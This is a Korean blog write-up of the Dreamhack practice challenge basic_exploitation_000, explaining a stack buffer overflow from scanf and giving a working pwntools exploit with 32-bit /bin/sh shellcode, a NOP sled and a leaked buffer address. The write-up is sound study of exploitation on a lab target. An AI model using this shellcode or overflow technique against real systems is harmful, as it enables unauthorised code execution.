Write-up/Wargame

[Dreamhack] basic_exploitation_000

Dalseung 2024. 3. 24. 15:04

개요

요즘 pwnable에 빠져있다.

간간히 임베디드와 리버싱 그리고 프로젝트를 진행하면서 블로그에 정리할 예정이다.

오늘 풀이할 문제는 Dreamhack의 Systemhackig 과정에 있는 문제이다.

전반적으로 풀면서 pwnable에 대해 익히는 계기가 됐다.

image

문제 파일을 다운받으면, 바이너리 파일과 소스코드를 준다.

소스코드부터 보자.

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

분석-main

코드의 과정을 분석해보면 main에서 변수 buf을 char 배열로 선언했다.

그다음 initialize()함수를 실행하고, printf로 buf변수의 시작주소를 보여준다.

이후 scanf로 문자열을 받는데 이때 받는 크기는 141byte이다.

바로 여기서 BOF가 생긴다.

buf의 크기는 0x80으로 128byte인데 받는 문자열은 최대 141byte이기 때문

나는 이것을 이용할 것이다.

분석-initialize()

그럼 다시 돌아가서 initialize()함수를 보자

initialize() 함수에서 setvbuf와 alarm_handler를 호출 및 적용을 했다.

그렇다면 setvbuf가 무엇이냐?

💡 what ? - setvbuf()

#include <stdio.h>
int setvbuf(FILE *stream, char *buf, int type, size_t size);

위의 코드를 형식으로 하는 함수로, 스트림 버퍼링 방식을 변경한다. 버퍼를 특정한 스트림의 입출력 연산에 사용될 수 있도록 변경한다. 버퍼링 방식과 버퍼의 크기를 설정할 수 있게 지원한다.

스트림(stream) : 다양한 장치들의 데이터들이 이동하는 흐름(통로)의 개념을 말한다. 예를 들어 표준입력 스트림은 키보드의 입력을 받아 해당 프로그램으로 정보를 전달해주는 스트림이다.

문제의 소스코드에서는 setvbuf를 통해 표준입력과 표준출력스트림을 대상으로 버퍼를 설정하는데, buf의 크기를 0으로 지정했으므로 함수는 자동으로 지정한 크기의 버퍼를 할당하게 된다.

또한 3번째 인자로 _IONBF를 적용했는데, 버퍼를 사용하지 않는다는 뜻으로 각각의 입출력 작업은 버퍼를 지나지 않고 요청 즉시 진행된다는 것으로 이 경우에는 buf인자와 size인자가 무시된다.

그 다음에 signal()함수를 쓴다.

💡 what ? - signal()

#include <signal.h>
void ( *signal (int sig, void(*func)(int)) )(int);

signal함수의 형식은 위와 같으며, 이 함수를 사용하여 프로그램이 운영체제나 raise()함수에서 인터럽트 신호를 처리할 수 있는 여러가지 방법 중 하나를 선택할 수 있다.

첫번째 인자로 들어가는 값은 여러가지 종류가 있지만, 여기서는 SIGALRM이 들어간다.

즉, 30초가 지나면 SIGALRM이 전송되고, alarm_handler()가 실행되어, 프로세스는 종료된다.

결론적으로 initialize()는 buf를 설정하는 초기화(initialize) 과정인 것 같다.

시나리오

image

확인해보니까 보호기법이 없다. Stack도 명령어 실행가능상태이다.

시나리오는 다음과 같다.

  1. shell을 실행하는 함수가 없기 때문에 shellcode를 구한다.
  2. 변수 buf에다가 넣는다.
  3. RET에 buf의 주소를 쓸 예정이다.
  4. RET할 때, buf의 시작주소로 돌아가 shellcode를 실행하게 된다.

그럼 해보자.

실습

image

scanf전에 ebp-0x80의 주소를 eax에 넣고, 이를 push한뒤 "%141s"도 스택에 넣는 것을 볼 수 있다.

main함수때 지역변수를 스택에 넣게 되는데 그때 넣은 char buf[0x80]의 자리가 바로 ebp-0x80이다.

그림으로 보면 다음과 같다.

참고로 실행하면서 알게된 사실인데 ASLR이 걸려있어, buf의 시작주소가 계속 변하는 것을 알 수 있었다.

image)image)image

공격시나리오 시 스택 상태를 예상해보면 아래 그림과 같을 것이다.

image

이대로 실행하게 되면, 함수 에필로그를 진행하면서 leave(=mov esp ebp, pop ebp)를 수행할 것이고, 그다음에 pop eip, jmp eip를 할 것이다.

image

이후에 RET를 수행하면서 pop eip, jmp eip를 하면서 buf의 시작주소를 가리키고 있던 eip가 수행되어 buf에 있는 shellcode를 읽을 것이고 shellcode가 실행되어 쉘을 따게 된다.

image

💡 why ? - 코딩할 때 초기화를 해야하는 이유

에필로그 실행 시 ESP의 주소를 올려서 사용하고 있는 스택의 크기를 줄인다.

하지만, 스택의 실제 크기는 변함이 없다.

이유는 pop이나 add esp 8이나 모두 포인터만 주소를 위로 올렸을 뿐 메모리 안에 기존 주소에 값이 있기 때문이다. 이때 함수 호출이 일어나게 되면 esp를 하위주소로 내려서 기존 데이터가 있던 곳을 다시 쓰는 것이다. 그래서 우리가 코딩을 할 때, 변수에 초기화를 하는 이유이다.

결과

from pwn import *

p = remote("host3.dreamhack.games", 15251)

shellcode = '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
buf_addr = int(p.recvline()[7:17],16)
payload = shellcode
payload += '\x90'*106
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()

쉘코드를 만들어보려 했으나, 내 수준에선 아직 어려웠다. 그래서 32bit 26byte짜리 /bin/sh 호출하는 코드를 긁어왔다.

buf_addr 변수에 프로그램이 출력하는 buf 주소를 recvline() 사용해서 받아서 16진수로 바꾼다.

이후에 EBP-0x80에 들어갈 shellcode를 페이로드에 넣고, 주소가 나와있긴 하지만 중간에 에러가 날 수 있으니 마음 편하게 NOP sled 쓴다.

이때, 0x80 + 0x4이기 때문에 총 132byte를 채워야 EBP 까지 변조가 가능하다.

그중 26byte가 shellcode니까, 나머지 106byte를 NOP으로 채우면 된다.

이후 RET 들어갈 곳에 buf의 시작주소를 넣으면 된다.
image

알게된 점

Stack에서 pop을 하거나 add esp, 8을 해도 스택의 데이터는 사라지지 않는다.

이러한 이유로 함수의 지역변수를 선언 시, 초기화를 해야 스택에 있는 기존의 값들이 새 데이터로 바뀐다.

쉘코드 만드는 법을 공부해야겠다.

'Write-up > Wargame' 카테고리의 다른 글

[4주차 TIL] KnockOn Bootcamp basic_asm 1~3  (0) 2025.01.01
[Dreamhack] basic_exploitation_001  (1) 2024.10.03
[Dreamhack] ReturnAddressOverwrite  (1) 2024.03.22
[pwnable.kr] fd  (0) 2023.11.12
[Dreamhack wargame] rev-basic-4  (1) 2023.11.12